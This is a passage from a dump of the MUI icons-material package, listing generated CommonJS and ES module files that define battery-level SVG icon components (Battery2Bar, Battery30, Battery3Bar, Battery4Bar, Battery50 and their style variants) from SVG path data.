    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v10h6z\"\n}), 'Battery2BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery2BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v10h6z\"\n}), 'Battery2BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery2BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v10h6z\"\n}), 'Battery2BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery2BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v10h6z\"\n}), 'Battery2BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery2BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6h6v10H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v10h6z\"\n}, \"1\")], 'Battery2BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery2BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6h6v10H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v10h6z\"\n}, \"1\")], 'Battery2BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery30.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\"\n  })]\n}), 'Battery30');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery30.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\"\n  })]\n}), 'Battery30');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery30Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\"\n  })]\n}), 'Battery30Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery30Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\"\n  })]\n}), 'Battery30Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery30Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\"\n  })]\n}), 'Battery30Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery30Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\"\n  })]\n}), 'Battery30Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery30Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v11h10V4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 15v7h10v-7H7z\"\n  })]\n}), 'Battery30Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery30Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v11h10V4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 15v7h10v-7H7z\"\n  })]\n}), 'Battery30Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery30TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\"\n  })]\n}), 'Battery30TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery30TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V15h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 15v5.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V15H7z\"\n  })]\n}), 'Battery30TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery3Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v8h6z\"\n}), 'Battery3Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery3Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v8h6z\"\n}), 'Battery3Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery3BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v8h6z\"\n}), 'Battery3BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery3BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v8h6z\"\n}), 'Battery3BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery3BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v8h6z\"\n}), 'Battery3BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery3BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v8h6z\"\n}), 'Battery3BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery3BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v8h6z\"\n}), 'Battery3BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery3BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v8h6z\"\n}), 'Battery3BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery3BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6h6v8H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v8h6z\"\n}, \"1\")], 'Battery3BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery3BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6h6v8H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v8h6z\"\n}, \"1\")], 'Battery3BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery4Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v6h6z\"\n}), 'Battery4Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery4Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v6h6z\"\n}), 'Battery4Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery4BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v6h6z\"\n}), 'Battery4BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery4BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v6h6z\"\n}), 'Battery4BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery4BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v6h6z\"\n}), 'Battery4BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery4BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v6h6z\"\n}), 'Battery4BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery4BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v6h6z\"\n}), 'Battery4BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery4BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v6h6z\"\n}), 'Battery4BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery4BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6h6v6H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v6h6z\"\n}, \"1\")], 'Battery4BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery4BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6h6v6H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v6h6z\"\n}, \"1\")], 'Battery4BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery50.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\"\n  })]\n}), 'Battery50');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery50.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\"\n  })]\n}), 'Battery50');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery50Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\"\n  })]\n}), 